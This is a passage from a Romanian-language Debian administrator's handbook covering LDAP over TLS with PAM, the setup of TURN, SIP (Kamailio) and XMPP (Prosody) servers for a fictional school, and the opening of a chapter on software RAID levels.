(a se vedea bara laterală “/etc/environment și /etc/default/locale” pagina 136) care va permite aplicațiilor să
efectueze autentificările necesare în baza de date LDAP.

PRUDENȚĂ Modificarea configurației standard PAM utilizate de diverse programe este o operație sensibilă. O greșeală poate
Autentificare spartă duce la o autentificare necorespunzătoare, care ar putea împiedica conectarea. Prin urmare, menținerea unui root
shell deschis este o bună precauție. Dacă apar erori de configurare, acestea pot fi apoi rezolvate și serviciile sunt
repornite cu efort minim.

243
Modulul LDAP pentru PAM este furnizat de pachetul libpam-ldap. Instalarea acestui pachet pune câteva
întrebări foarte asemănătoare cu cele din libnss-ldap; unii parametri de configurare (cum ar fi URI pentru
LDAP server) sunt chiar partajați cu pachetul libnss-ldap. Răspunsurile sunt rezumate în Tabelul 11.3.

Question Answer
Allow LDAP admin account to behave like local root? Yes. This allows using the usual passwd command for changing passwords stored în
the LDAP database.
Does the LDAP database require logging in? no
LDAP account for root cn=admin,dc=scoalagenerala,dc=com
LDAP root account password the LDAP database administrative password
Local encryption algorithm to use for passwords crypt

Tabel 11.3 Configurarea lui libpam-ldap

Instalarea libpam-ldap adaptează automat configurația PAM implicită definită în fișierele

/etc/pam.d/common-auth, /etc/pam.d/common-password și /etc/pam.d/common-account.
Acest mecanism utilizează instrumentul pam-auth-update dedicat (furnizat de pachetul libpam-runtime).
Acest instrument poate fi, de asemenea, gestionat de administrator dacă dorește să activeze sau să
dezactiveze modulele PAM.

11.7.3.3. Securizarea schimburilor de date LDAP

În mod implicit, LDAP protocol tranzitează în rețea ca text clar; aceasta include parolele (criptate). Deoarece
parolele criptate pot fi extrase din rețea, ele pot fi vulnerabile la atacurile de dicționar. Acest lucru poate fi
evitat folosind un strat suplimentar de criptare; activarea acestui strat este subiectul acestei secțiuni.

11.7.3.3.1. Configurare server

Primul pas este crearea unei perechi de chei (care cuprinde o cheie publică și o cheie privată) pentru LDAP
server. Administratorul Școlii Generale reutilizează easy-rsa pentru a-l genera (vedeți secțiunea
10.2.2. “Infrastructura cheii publice: easy-rsa” pagina 194). Rulând ./easyrsa build-server-full
ldap.scoalagenerala.com nopass, va întreba despre “common name”. Răspunsul la întrebare trebuie
să fie numele complet al gazdei calificate pentru LDAP server; în cazul nostru,
ldap.scoalagenerala.com.
Această comandă creează un certificat în fișierul/issued/ldap.scoalagenerala.com.crt; cheia
privată corespunzătoare este stocată în pki/privat/ldap.scoalagenerala.com.key.
Acum aceste chei trebuie instalate în locația lor standard și trebuie să ne asigurăm că fișierul privat poate fi
citit de LDAP server care rulează sub identitatea utilizatorului openldap:

# adduser openldap ssl-cert

Adding user `openldap' to group `ssl-cert' ...
Adding user openldap to group ssl-cert
Done.
# mv pki/private/ldap.scoalagenerala.com.key /etc/ssl/private/ldap.scoalagenerala.com.key
# chown root:ssl-cert /etc/ssl/private/ldap.scoalagenerala.com.key
# chmod 0640 /etc/ssl/private/ldap.scoalagenerala.com.key
# ./eassyrsa gen-dh

Note: using Easy-RSA configuration from: ./vars

Using SSL: openssl OpenSSL 1.1.1c 28 May 2019

Generating DH parameters, 2048 bit long safe prime, generator 2
This is going to take a long time
+...............................................................................+............
⮩
[...]
DH parameters of size 2048 created at /home/roland/pki/dh.pem

# mv pki/dh.pem /etc/ssl/certs/ldap.scoalagenerala.com.pem

244
De asemenea, trebuie să i se spună daemonului slapd să folosească aceste chei pentru criptare.
Configurația LDAP server este gestionată dinamic: configurația poate fi actualizată cu operații LDAP normale
pe ierarhia obiectului cn=config, iar server-ul se actualizează /etc/ldap/slapd.d în timp real pentru a
face configurația persistentă. ldapmodify prin urmare, este instrumentul potrivit pentru a actualiza
configurația:

Exemplul 11.24 Configurarea slapd pentru criptare

# cat >ssl.ldif <<END

dn: cn=config
changetype: modify
add: olcTLSCertificateFile
olcTLSCertificateFile: /etc/ssl/certs/ldap.scoalagenerala.com.pem
-
add: olcTLSCertificateKeyFile
olcTLSCertificateKeyFile: /etc/ssl/private/ldap.scoalagenerala.com.key
-
END
# ldapmodify -Y EXTERNAL -H ldapi:/// -f ssl.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry "cn=config"

INSTRUMENT Cu ldapvi puteți afișa o ieșire LDIF din orice parte a directorului LDAP, puteți face unele modificări în
ldapvi pentru a edita un editorul de text și lăsați instrumentul să efectueze operațiunile LDAP corespunzătoare pentru dvs.
director LDAP Este astfel o modalitate convenabilă de a actualiza configurația LDAP server, pur și simplu prin editarea
ierarhiei cn=config.
# ldapvi -Y EXTERNAL -h ldapi:/// -b cn=config

Ultimul pas pentru activarea criptării implică schimbarea variabilei SLAPD_SERVICES din fișierul
/etc/default/slapd. Vom presupune că este sigur și dezactivăm complet LDAP nesecurizat.

Exemplul 11.25 Fișierul /etc/default/slapd

# Default location of the slapd.conf file or slapd.d cn=config directory. If

# empty, use the compiled-in default (/etc/ldap/slapd.d with a fallback to
# /etc/ldap/slapd.conf).
SLAPD_CONF=

# System account to run the slapd server under. If empty the server
# will run as root.
SLAPD_USER="openldap"

# System group to run the slapd server under. If empty the server will
# run in the primary group of its user.
SLAPD_GROUP="openldap"

# Path to the pid file of the slapd server. If not set the init.d script
# will try to figure it out from $SLAPD_CONF (/etc/ldap/slapd.conf by
# default)
SLAPD_PIDFILE=

# slapd normally serves ldap only on all TCP-ports 389. slapd can also
# service requests on TCP-port 636 (ldaps) and requests via unix
# sockets.
# Example usage:
# SLAPD_SERVICES="ldap://127.0.0.1:389/ ldaps:/// ldapi:///"
SLAPD_SERVICES="ldaps:/// ldapi:///"

# If SLAPD_NO_START is set, the init script will not start or restart

# slapd (but stop will still work). Uncomment this if you are
# starting slapd via some other means or if you don't want slapd normally
# started at boot.
#SLAPD_NO_START=1

# If SLAPD_SENTINEL_FILE is set to path to a file and that file exists,

# the init script will not start or restart slapd (but stop will still
# work). Use this for temporarily disabling startup of slapd (when doing
# maintenance, for example, or through a configuration management system)
# when you don't want to edit a configuration file.

245
SLAPD_SENTINEL_FILE=/etc/ldap/noslapd

# For Kerberos authentication (via SASL), slapd by default uses the system
# keytab file (/etc/krb5.keytab). To use a different keytab file,
# uncomment this line and change the path.
#export KRB5_KTNAME=/etc/krb5.keytab

# Additional options to pass to slapd

SLAPD_OPTIONS=""

11.7.3.3.2. Configurarea clientului

Pe partea de client, configurația pentru modulele libpam-ldap și libnss-ldap trebuie modificate pentru a utiliza
un ldaps:// URI.
De asemenea, clienții LDAP trebuie să poată autentifica server-ul. Într-o infrastructură de chei publice X.509,
certificatele publice sunt semnate de cheia unei autorități de certificare (CA). Cu easy-rsa, administratorul
Școlii Generale și-a creat propriul CA și acum trebuie să configureze sistemul pentru a avea încredere în
semnăturile CA scoalagenerala. Acest lucru se poate face prin introducerea certificatului CA în /usr/local/
share/ca-certificates și rulând update-ca-certificates.

# cp pki/ca.crt /usr/local/share/ca-certificates/scoalagenerala .crt

# update-ca-certificates
Updating certificates in /etc/ssl/certs... 1 added, 0 removed; done.
Running hooks in /etc/ca-certificates/update.d....

Adding debian:scoalagenerala.pem
done.
done.

Nu în ultimul rând, URI LDAP implicit și DN de bază implicit utilizate de diferitele instrumente din linia de
comandă pot fi modificate în /etc/ldap/ldap.conf. Acest lucru va salva destul de multă dactilografiere.

Exemplul 11.26 Fișierul /etc/ldap/ldap.conf

#
# LDAP Defaults
#

# See ldap.conf(5) for details

# This file should be world readable but not world writable.

BASE dc=scoalagenerala,dc=com
URI ldaps://ldap.scoalagenerala.com

#SIZELIMIT 12
#TIMELIMIT 15
#DEREF never

# TLS certificates (needed for GnuTLS)

TLS_CACERT /etc/ssl/certs/ca-certificates.crt

11.8. Servicii de comunicație în timp real

Serviciile de comunicație în timp real (Real-Time Communication — RTC) includ voce, video/webcam, mesagerie
instant (IM) și partajare desktop. Acest capitol oferă o scurtă introducere la trei dintre serviciile necesare
pentru a opera RTC, inclusiv un TURN server, SIP server și XMPP server. Mai multe detalii despre planificarea,
instalarea și gestionarea acestor servicii sunt disponibile în ghidul de pornire rapidă a comunicațiilor în timp
real, care include exemple specifice Debian.
➨ http://rtcquickstart.org
Atât SIP cât și XMPP pot oferi aceeași funcționalitate. SIP este puțin mai cunoscut pentru voce și video, în
timp ce XMPP este în mod tradițional considerat ca un protocol de IM. De fapt, ambele pot fi utilizate în
oricare dintre aceste scopuri. Pentru a maximiza opțiunile de conectare, se recomandă rularea ambelor în
paralel.
Aceste servicii se bazează pe certificate X.509 atât în scopuri de autentificare, cât și de confidențialitate.
Consultați secțiunea 10.2. “Certificate X.509” pagina 192) pentru mai multe detalii.

246
11.8.1. Setări DNS pentru serviciile RTC
Serviciile RTC necesită înregistrări DNS SRV și NAPTR. O configurație mostră care poate fi plasată în fișierul
zone pentru scoalagenerala.com:

; the server where everything will run

server1 IN A 198.51.100.19
server1 IN AAAA 2001:DB8:1000:2000::19

; IPv4 only for TURN for now, some clients are buggy with IPv6
turn-server IN A 198.51.100.19

; IPv4 and IPv6 addresses for SIP

sip-proxy IN A 198.51.100.19
sip-proxy IN AAAA 2001:DB8:1000:2000::19

; IPv4 and IPv6 addresses for XMPP

xmpp-gw IN A 198.51.100.19
xmpp-gw IN AAAA 2001:DB8:1000:2000::19

; DNS SRV and NAPTR for STUN / TURN

_stun._udp IN SRV 0 1 3467 turn-server.scoalagenerala.com.
_turn._udp IN SRV 0 1 3467 turn-server.scoalagenerala.com.
@ IN NAPTR 10 0 "s" "RELAY:turn.udp" "" _turn._udp.scoalagenerala.com.

; DNS SRV and NAPTR records for SIP

_sips._tcp IN SRV 0 1 5061 sip-proxy.scoalagenerala.com.
@ IN NAPTR 10 0 "s" "SIPS+D2T" "" _sips._tcp.scoalagenerala.com.

; DNS SRV records for XMPP Server and Client modes:

_xmpp-client._tcp IN SRV 5 0 5222 xmpp-gw.scoalagenerala.com.
_xmpp-server._tcp IN SRV 5 0 5269 xmpp-gw.scoalagenerala.com.

11.8.2. TURN server

TURN este un serviciu care ajută clienții din spatele NAT router și firewall-urilor să descopere cel mai eficient
mod de comunicație cu alți clienți și de a transmite fluxurile media dacă nu poate fi găsită o cale directă
media. Este foarte recomandat ca TURN server să fie instalat înainte ca oricare dintre celelalte RTC services
să fie oferite utilizatorilor finali.
TURN și ICE protocol aferent sunt standarde deschise. Pentru a beneficia de aceste protocoale, maximizarea
conectivității și minimizarea frustrării utilizatorilor, este important să vă asigurați că toate softurile client
acceptă ICE și TURN.
Pentru ca algoritmul ICE să funcționeze eficient, server-ul trebuie să aibă două adrese IPv4 publice.
Instalați pachetul coturn și editați fișierul de configurare /etc/turnserver.conf. În mod implicit, o bază
de date SQLite este configurată în /var/db/turndb pentru setările contului de utilizator, dar PostgreSQL,
MySQL sau Redis pot fi configurate în schimb, dacă se preferă. Cel mai important lucru de făcut este să
introduceți adresele IP ale server-ului.
Server-ul poate fi pornit rulând /usr/bin/turnserver. Vrem ca server-ul să fie un serviciu de sistem pornit
automat, așa că edităm fișierul /etc/default/coturn astfel:

#
# Uncomment it if you want to have the turnserver running as
# an automatic system service daemon
#
TURNSERVER_ENABLED=1

Implicit, TURN server utilizează acces anonim. Trebuie să adăugăm utilizatorii pe care dorim să îi folosim:

# turnadmin -a -u cristi -p secret_password -r acoalagenerala.com

# turnadmin -A -u admin -p secret_password

Folosim argumentul -a pentru a adăuga un utilizator normal și -A pentru a adăuga un utilizator

administrator.

247
11.8.3. SIP proxy server
Un SIP proxy server gestionează conexiunile SIP primite și ieșite între alte organizații, furnizorii de SIP trunking,
SIP PBX-uri, cum ar fi Asterisk, telefoane SIP, softuri de telefonie bazate pe SIP și aplicații WebRTC.
Este recomandat să instalați și configurați SIP proxy înainte de a încerca o configurație SIP PBX. Proxy SIP
normalizează mult traficul care ajunge la PBX și asigură conectivitate și adaptare mai bună.

11.8.3.1. Instalați SIP proxy

Instalând pachetul kamailio și pachetul pentru baza de date din fundal, administratorul Școlii Generale a ales
MySQL, deci instalează mariadb-server. /etc/kamailio/kamctlrc este fișierul de configurare pentru
instrumentele de control kamctl și kamdbctl. Trebuie să editați și să setați SIP_DOMAIN la domeniul de
servicii SIP și să setați DBENGINE la MySQL, se poate utiliza un altă bază de date de fundal.

[...]
## your SIP domain
SIP_DOMAIN=sip.scoalagenerala.com

## chrooted directory
# $CHROOT_DIR="/path/to/chrooted/directory"

## database type: MYSQL, PGSQL, ORACLE, DB_BERKELEY, DBTEXT, or SQLITE

# by default none is loaded
#
# If you want to setup a database with kamdbctl, you must at least specify
# this parameter.
DBENGINE=MYSQL
[...]

Acum ne concentrăm pe fișierul de configurare /etc/kamailio/kamailio.cfg. Școala Generală are

nevoie de autentificarea utilizatorului și locația persistentă a utilizatorului, așa că adaugă următoarele
directive #! Define în partea de sus a fișierului:

#!KAMAILIO
#
# Kamailio (OpenSER) SIP Server v5.2 - default configuration script
# - web: https://www.kamailio.org
# - git: https://github.com/kamailio/kamailio
#!define WITH_MYSQL
#!define WITH_AUTH
#!define WITH_USRLOCDB
[...]

Kamailio are nevoie de o structură de bază de date pe care o putem crea rulând kamdbctl create ca root.
În cele din urmă, putem adăuga câțiva utilizatori cu kamctl.
# kamctl add roland secret_password

Odată ce totul este configurat corect, puteți porni sau reporni serviciul cu systemctl restart
kamailio, vă puteți conecta cu un SIP client care furnizează adresa IP și port (port 5090 este implicit).
Utilizatorii au următorul id: cristi@sip.scoalagenerala.com și se pot autentifica utilizând un client
(consultați secțiunea 13.10. “Software de comunicații în timp real” pagina 301)

11.8.4. XMPP server

Un XMPP server gestionează conectivitatea între utilizatorii XMPP locali și utilizatorii XMPP din alte domenii
de pe Internetul public.

VOCABULAR XMPP este uneori denumit Jabber. De fapt, Jabber este marcă comercială, iar XMPP este numele oficial al
XMPP sau Jabber? standardului.

Prosody este un XMPP server popular, care funcționează în mod fiabil pe Debian server.

248
11.8.4.1. Instalarea XMPP server
Instalați pachetul prosody.
Examinați fișierul de configurare /etc/prosody/prosody.cfg.lua. Cel mai important lucru este să
inserați JID-urile utilizatorilor cărora li se permite administrarea server-ului.

admins = { "geo@scoalagenerala.com" }

Un fișier de configurare individual este, de asemenea, necesar pentru fiecare domeniu. Copiați eșantionul
din /etc/prosody/conf.avail/example.com.cfg.lua și folosiți-l ca punct de plecare. Iată
scoalagenerala.com.cfg.lua:

VirtualHost "scoalagenerala.com"
enabled = true
ssl = {
key = "/etc/ssl/private/scoalagenerala.com-key.pem";
certificate = "/etc/ssl/public/scoalagenerala .com.pem";
}

-- Set up a MUC (multi-user chat) room server on conference.example.com:

Component "conference.scoalagenerala.com" "muc"

Pentru a activa domeniul, trebuie să existe un simbol de la /etc/prosody/conf.d/. Creați-l astfel:

# ln -s /etc/prosody/conf.avail/scoalagenerala.com.cfg.lua /etc/prosody/conf.d/

Reporniți serviciul pentru a folosi noua configurație.

11.8.4.2. Administrarea XMPP server

Unele operații de gestionare pot fi efectuate folosind utilitarul prosodyctl al liniei de comandă. De
exemplu, pentru a adăuga contul de administrator specificat în /etc/prosody/prosody.cfg.lua:

# prosodyctl adduser geo@scoalagenerala.com

Consultați Prosody online documentation15 pentru mai multe detalii despre modul de personalizare a
configurației.

11.8.5. Funcționarea serviciilor pe port 443

Unii administratori preferă să ruleze toate serviciile RTC pe port 443. Acest lucru îi ajută pe utilizatori să se
conecteze din locații îndepărtate, cum ar fi hoteluri și aeroporturi unde alte port-uri pot fi blocate sau traficul
pe Internet este dirijat prin HTTP proxy servers.
Pentru a utiliza această strategie, fiecare serviciu (SIP, XMPP și TURN) are nevoie de o adresă IP diferită.
Toate serviciile pot fi în continuare în aceeași gazdă, deoarece Linux acceptă mai multe adrese IP pe o
singură gazdă. Numărul port-ului, 443, trebuie specificat în fișierele de configurare pentru fiecare proces,
precum și în înregistrările DNS SRV.

11.8.6. Adăugarea WebRTC

Școala Generală vrea să permită clienților să efectueze apeluri telefonice direct de pe web sitel. Administratorul
Școlii Generale dorește, de asemenea, să utilizeze WebRTC ca parte a planului de recuperare a dezastrelor,
astfel încât personalul poate utiliza web browser-ele acasă pentru a se conecta la sistemul de telefoane al
școlii și pentru a lucra normal în caz de urgență.

ÎN PRACTICĂ Dacă nu ați mai încercat WebRTC înainte, există diverse situri care oferă o demonstrație online și facilități de
Încercați WebRTC testare.
➨ http://www.sip5060.net/test-calls

15https://prosody.im/doc/configure

249
WebRTC este o tehnologie în evoluție rapidă și este esențial să folosiți pachete din distribuțiile Testing. O altă
opțiune este compilarea software-ului.
WebRTC folosește un API simplu pentru a oferi browser-elor și aplicațiilor mobile cu RTC, este software gratuit
și este dezvoltat de Google.
➨ https://webrtc.org
O abordare foarte flexibilă este utilizarea implementării WebRTC a GStreamer. Permite aplicații multimedia
bazate pe pipe, ceea ce permite dezvoltarea de aplicații interesante și extrem de eficiente. Un bun punct de
plecare este următoarea demonstrație a Centricular, principala companie care o dezvoltă:
➨ https://github.com/centricular/gstwebrtc-demos
Mai multe web site-uri avansate de click-to-call apelează de obicei scripturi din partea server-ului pentru a
genera fișierul config.js dinamic. Codul sursă DruCall16 demonstrează cum se face acest lucru cu PHP.
Acest capitol a prelevat doar o parte din software server-ul disponibil; cu toate acestea, majoritatea serviciilor
comune de rețea au fost descrise. Acum este timpul pentru un capitol și mai tehnic: vom intra în detalii mai
profunde pentru anumite concepte, vom descrie implementări masive și virtualizare.

16https://www.drupal.org/project/drucall

250
251
 Repere

RAID
LVM
FAI
Presetare
Monitorizare
Virtualizare
Xen
LXC

252
Capitolul 12

12. Administrare avansată

Conţinut
RAID și LVM 254 Virtualizarea 268 Instalarea automată 279 Monitorizarea 283

Acest capitol revizuiește unele aspecte pe care le-am descris deja, cu o perspectivă diferită: în loc să
instalați un singur computer, vom studia sistemele de implementare în masă; în loc să creăm volume RAID
sau LVM la momentul instalării, vom învăța să o facem de mână, pentru a putea revizui mai târziu alegerile
noastre inițiale. În cele din urmă, vom discuta despre instrumentele de monitorizare și tehnicile de
virtualizare. În consecință, acest capitol vizează mai ales administratorii profesioniști și se concentrează
oarecum mai puțin pe persoanele responsabile pentru rețeaua lor de acasă.

253
12.1. RAID și LVM
Capitolul 4. “Instalarea” pagina 57 a prezentat aceste tehnologii din punctul de vedere al programului de
instalare și modul în care le-a integrat pentru a facilita implementarea acestora din start. După instalarea
inițială, un administrator trebuie să poată face față nevoilor în evoluție ale spațiului de stocare, fără a fi
nevoie să recurgă la o reinstalare costisitoare. Prin urmare, trebuie să înțeleagă instrumentele necesare
pentru manipularea volumelor RAID și LVM.
Ambele, RAID și LVM, sunt tehnici pentru a extrage volumele montate de la omologii lor fizici (unități hard
disk reale sau partiții ale acestora); primele securizează datele împotriva eșecului hardware prin introducerea
redundanței, cel de-al doilea face gestionarea volumului mai flexibilă și independentă de dimensiunea reală
a discurilor de bază. În ambele cazuri, sistemul se termină cu dispozitive bloc noi, care pot fi utilizate pentru
a crea sisteme de fișiere sau pentru a schimba spațiu, fără a le face neapărat mapate pe un disc fizic. RAID
și LVM provin din medii destul de diferite, dar funcționalitatea lor se poate suprapune oarecum, motiv pentru
care sunt adesea menționate împreună.

PERSPECTIVĂ În timp ce LVM și RAID sunt două subsisteme distincte de kernel care se află între dispozitivele de blocare a
Btrfs combină LVM și RAID discului și sistemele de fișiere ale acestora, btrfs este un nou sistem de fișiere, inițial dezvoltat la Oracle, care
intenționează să combine seturile de caracteristici ale LVM și RAID și multe altele. Este în mare parte funcțional
și, deși este încă etichetat “experimental”, deoarece dezvoltarea sa este incompletă (unele caracteristici nu sunt
încă implementate), a văzut deja o anumită utilizare în mediile de producție.
➨ http://btrfs.wiki.kernel.org/
Printre caracteristicile remarcabile se numără posibilitatea de a face o imagine a unui arbore de sistem de fișiere
în orice moment. Această copie instantanee nu folosește inițial niciun spațiu pe disc, datele fiind duplicate doar
atunci când una dintre copii este modificată. Sistemul de fișiere gestionează de asemenea compresia transparentă
a fișierelor, iar sumele de verificare asigură integritatea tuturor datelor stocate.

În ambele cazuri RAID și LVM, nucleul oferă un fișier de dispozitiv block, similar cu cel corespunzător unei
unități de hard disk sau unei partiții. Când o aplicație sau o altă parte a nucleului, necesită acces la un block al
unui astfel de dispozitiv, subsistemul corespunzător direcționează blocul către stratul fizic relevant. În funcție
de configurație, acest bloc poate fi stocat pe unul sau mai multe discuri fizice și este posibil ca locația sa
fizică să nu fie corelată direct cu locația block-ului din dispozitivul logic.

12.1.1. Software RAID

RAID înseamnă Redundant Array of Independent Disks (Ordonarea redundantă a discurilor independente).
Scopul sistemului (RAID) este prevenirea pierderilor de date în cazul unei defecțiuni a hard disk-ului.
Principiul general este destul de simplu: datele sunt stocate pe mai multe discuri fizice în loc de unul singur,
cu un nivel configurabil de redundanță. În funcție de acest nivel de redundanță și chiar în cazul unei
defecțiuni neașteptate a discului, datele pot fi reconstruite fără pierdere de pe discurile rămase.

CULTURĂ I-ul din RAID a reprezentat inițial ieftin, deoarece RAID a permis o creștere drastică a siguranței datelor fără a
Independent sau ieftin? necesita investiții în discuri de înaltă calitate. Probabil datorită preocupărilor de imagine, este considerată mai
normală opțiunea pentru independent, care nu are gustul nesănătos al etichetei de ieftin.

RAID poate fi implementat fie prin hardware dedicat (module RAID integrate în plăci de control SCSI sau
SATA), fie prin abstractizare de software (kernel). Indiferent dacă este hardware sau software, un sistem RAID
cu redundanță suficientă poate rămâne operațional în momentul în care un disc eșuează; straturile
superioare ale stivei (aplicații) pot continua să acceseze datele, în ciuda eșecului. Desigur, acest “mod
degradat” poate avea un impact asupra performanței, iar redundanța este redusă, astfel încât o defecțiune
suplimentară a discului poate duce la pierderea datelor. Prin urmare, în practică, se va rămâne în acest mod
degradat doar atât timp cât este nevoie pentru a se înlocui discul defect. Odată ce noul disc este în poziție,
sistemul RAID poate reconstrui datele necesare pentru a reveni la un mod sigur. Aplicațiile nu vor observa
nimic, în afară de viteza de acces potențial redusă, în timp ce tabloul se află în modul degradat sau în faza
de reconstrucție.
Când RAID este implementat de hardware, configurația sa se încadrează, în general, în instrumentul de
configurare BIOS, iar nucleul va considera o matrice RAID ca un singur disc, care va funcționa ca un disc
fizic standard, deși numele dispozitivului poate fi diferit (în funcție de driver).
În această carte ne concentrăm doar pe software-ul RAID.

254
12.1.1.1. Diferite niveluri RAID
RAID nu este de fapt un singur sistem, ci o serie de sisteme identificate după nivelurile lor; nivelurile diferă în
funcție de aspectul lor și de cantitatea de redundanță oferită. Cu cât este mai redundant, cu atât mai mult
este o sigur la un eșec, deoarece sistemul va putea continua să funcționeze cu mai multe discuri defecte. De
cealaltă parte, spațiul utilizabil se micșorează pentru un set de discuri dat; vor fi necesare mai multe discuri
pentru a stoca o anumită cantitate de date.
RAID linear Chiar dacă subsistemul RAID al kernel-ului permite crearea ”RAID linear”, acesta nu este
RAID corespunzător, deoarece această configurație nu implică nicio redundanță. Nucleul doar
agregă complet mai multe discuri și oferă volumul agregat rezultat ca un singur disc virtual (un
dispozitiv block). Cam asta este singura lui funcție. Această configurație este folosită rar, în sine (a se
vedea mai târziu excepțiile), mai ales că lipsa redundanței înseamnă că un disc eșuat face ca
întregul agregat, deci toate datele, să fie indisponibile.
RAID-0 Acest nivel nu oferă nici o redundanță, dar discurile nu sunt pur și simplu blocate unul după
altul: acestea sunt împărțite în benzi , iar blocurile de pe dispozitivul virtual sunt stocate pe benzi pe
discuri fizice alternative. Într-o configurație RAID-0 cu două discuri, de exemplu, blocurile cu număr
par ale dispozitivului virtual vor fi stocate pe primul disc fizic, în timp ce blocurile cu numere impare
vor ajunge pe al doilea disc fizic.
Acest sistem nu urmărește creșterea fiabilității, deoarece (ca în cazul liniar), disponibilitatea tuturor
datelor este pusă în pericol de îndată ce un disc eșuează, ci spre performanța crescândă: în timp ce
se face accesul secvențial la cantități mari de date contigue, kernel va putea citi de pe ambele
discuri (sau să le scrie) în paralel, ceea ce crește rata de transfer de date. Cu toate acestea,
utilizarea RAID-0 se micșorează, nișa sa fiind completată de LVM (vedeți mai târziu).
RAID-1 Acest nivel, cunoscut și sub denumirea de “oglindire RAID”, este atât cea mai simplă, cât și
cea mai utilizată configurație. În forma sa standard, folosește două discuri fizice de aceeași
dimensiune și oferă din nou un volum logic de aceeași dimensiune. Datele sunt stocate identic pe
ambele discuri, de unde și porecla de “oglindă”. Când un disc nu reușește, datele sunt încă
disponibile pe celălalt. Pentru date cu adevărat critice, RAID-1 poate fi, desigur, configurat pe mai
mult de două discuri, cu impact direct asupra raportului dintre costul hardware și spațiul disponibil.

NOTE Dacă două discuri de dimensiuni diferite sunt configurate într-o oglindă, cel mai mare nu va fi utilizat pe deplin,
Dimensiunile discurilor și deoarece va conține aceleași date ca și cel mai mic și nimic mai mult. Prin urmare, spațiul disponibil disponibil
cluster-elor furnizat de un volum RAID-1 se potrivește cu dimensiunea celui mai mic disc din tablă. Acest lucru este valabil
în continuare pentru volumele RAID cu un nivel RAID mai ridicat, chiar dacă redundanța este stocată diferit.
Prin urmare, este important atunci când configurați tablouri RAID (cu excepția RAID-0 și “RAID liniar”), să
asamblați doar discuri de dimensiuni identice, sau foarte apropiate, pentru a evita risipirea resurselor.

REȚINEȚI Nivelurile RAID care includ redundanța permit alocarea mai multor discuri decât cele necesare unui tablou.
Discuri de rezervă Discurile suplimentare sunt utilizate ca piese de schimb atunci când unul dintre discurile principale nu reușește.
De exemplu, într-o oglindă cu două discuri, plus o rezervă, dacă unul dintre primele două discuri nu reușește,
nucleul va reconstrui automat (și imediat) oglinda folosind discul de rezervă, astfel încât redundanța să rămână
asigurată după timpul de reconstrucție. Aceasta poate fi folosită ca un alt tip de garanție pentru datele critice.
Ar fi de iertat că ne-am întreba cum aceasta este mai bine decât să începem să oglindim pe trei discuri.
Avantajul configurației ”discului de rezervă” este că discul de rezervă poate fi partajat pe mai multe volume
RAID. De exemplu, pot fi trei volume oglindite, fiind asigurată redundanța chiar și în cazul unei defecțiuni a
discului, cu doar șapte discuri (trei perechi, plus o rezervă partajată), în locul celor nouă discuri care ar fi
necesare celor trei triplete.

Acest nivel RAID, deși este scump (deoarece doar jumătate din spațiul de stocare fizic, în cel mai bun caz,
este util), este utilizat pe scară largă în practică. Este simplu de înțeles și permite copii de rezervă foarte
simple: din moment ce ambele discuri au conținut identic, unul dintre ele poate fi extras temporar, fără impact
asupra sistemului de lucru. Performanța de citire este adesea crescută deoarece nucleul poate citi jumătate
din datele de pe fiecare disc în paralel, în timp ce performanța de scriere nu este prea sever degradată. În
cazul unui tablou RAID-1 de N discuri, datele rămân disponibile chiar și cu defecțiuni ale discului N-1.
RAID-4 Acest nivel RAID, nu este utilizat pe scară largă, folosește N discuri pentru a stoca date utile
și un disc suplimentar pentru a stoca informații despre redundanță. Dacă acel disc nu reușește,
sistemul își poate reconstrui conținutul din celălalt N. Dacă unul dintre N discuri de date nu reușește,
N-1 rămas combinat cu “paritatea” conține suficiente informații pentru a reconstrui datele solicitate.
RAID-4 nu este prea scump, deoarece implică doar o creștere unu-in-N a costurilor și nu are un
impact notabil asupra performanței de citire, dar scrierile sunt încetinite. Mai mult, deoarece o scriere

255
 pe oricare dintre discurile N implică și o scriere pe discul de paritate, aceasta din urmă vede
multe alte scrieri decât prima, iar durata de viață a acesteia se poate scurta dramatic ca o
consecință. Datele de pe un tablou RAID-4 sunt în siguranță numai până la un disc eșuat (din N + 1).
RAID-5 RAID-5 abordează problema de asimetrie a RAID-4: blocurile la paritate sunt răspândite pe
toate discurile N+1, fără ca un singur disc să aibă un anumit rol.
Performanțele de citire și scriere sunt identice cu RAID-4. Aici, din nou, sistemul rămâne funcțional
cu până la un disc eșuat (al N+1), dar nu mai mult.
RAID-6 RAID-6 poate fi considerată o extensie a RAID-5, unde fiecare serie de blocuri N
implică două blocuri redundante și fiecare astfel de serie de blocuri N+2 este distribuită pe discuri
N+2.
Acest nivel RAID este puțin mai scump decât cele două anterioare, dar aduce un plus de siguranță,
deoarece până la două unități (din N+2) pot eșua fără a compromite disponibilitatea datelor. Însă
operațiunile de scriere implică acum scrierea unui bloc de date și a două blocuri de redundanță,
ceea ce îl face și mai lent.
RAID-1+0 Strict vorbind, nu este vorba doar de un nivel RAID, ci de stivuirea a două grupări
RAID. Pornind de la 2×N discuri, primul le stabilește pe perechi în N RAID-1 volume; aceste N
volume sunt apoi agregate într-unul, fie prin “RAID liniar”, fie (din ce în ce mai mult) prin LVM. Acest
ultim caz este mai mult decât RAID pur, dar nu există nicio problemă cu asta.
RAID-1+0 poate supraviețui mai multor erori ale discului: până la N în tabloul 2×N descris mai sus,
cu condiția ca cel puțin un disc să funcționeze în fiecare dintre perechile RAID-1.

ÎN DETALIU RAID-10 este considerat, în general, un sinonim al RAID-1+0, dar o specificitate Linux îl face de fapt o
RAID-10 generalizare. Această configurare permite un sistem în care fiecare bloc este stocat pe două discuri diferite, chiar
și cu un număr impar de discuri, copiile fiind distribuite de-a lungul unui model configurabil.

Performanțele vor varia în funcție de modelul de repartiție ales și de nivelul de redundanță și de volumul de
lucru al volumului logic. Evident, nivelul RAID va fi ales în funcție de constrângerile și cerințele fiecărei
aplicații. Rețineți că un singur computer poate avea mai multe tablouri RAID distincte, cu configurații diferite.

12.1.1.1. Configurarea RAID

Configurarea volumelor RAID necesită pachetul mdadm; oferă comanda mdadm, care permite crearea și
manipularea tablourilor RAID, precum și scripturi și instrumente care îl integrează în restul sistemului,
inclusiv sistemul de monitorizare.
Exemplul nostru va fi un server cu o serie de discuri, dintre care unele sunt deja utilizate, restul fiind
disponibil pentru configurarea RAID. Avem inițial următoarele discuri și partiții:
• discul sdb, de 4 GB, este disponibil în întregime;
• discul sdc, de 4 GB, este,la fel, disponibil în întregime;
• pe discul sdd, doar partiția sdd2 (aproximativ 4 GB) este disponibil;
• în sfârșit, un disc sde, încă 4 GB, disponibil în întregime.

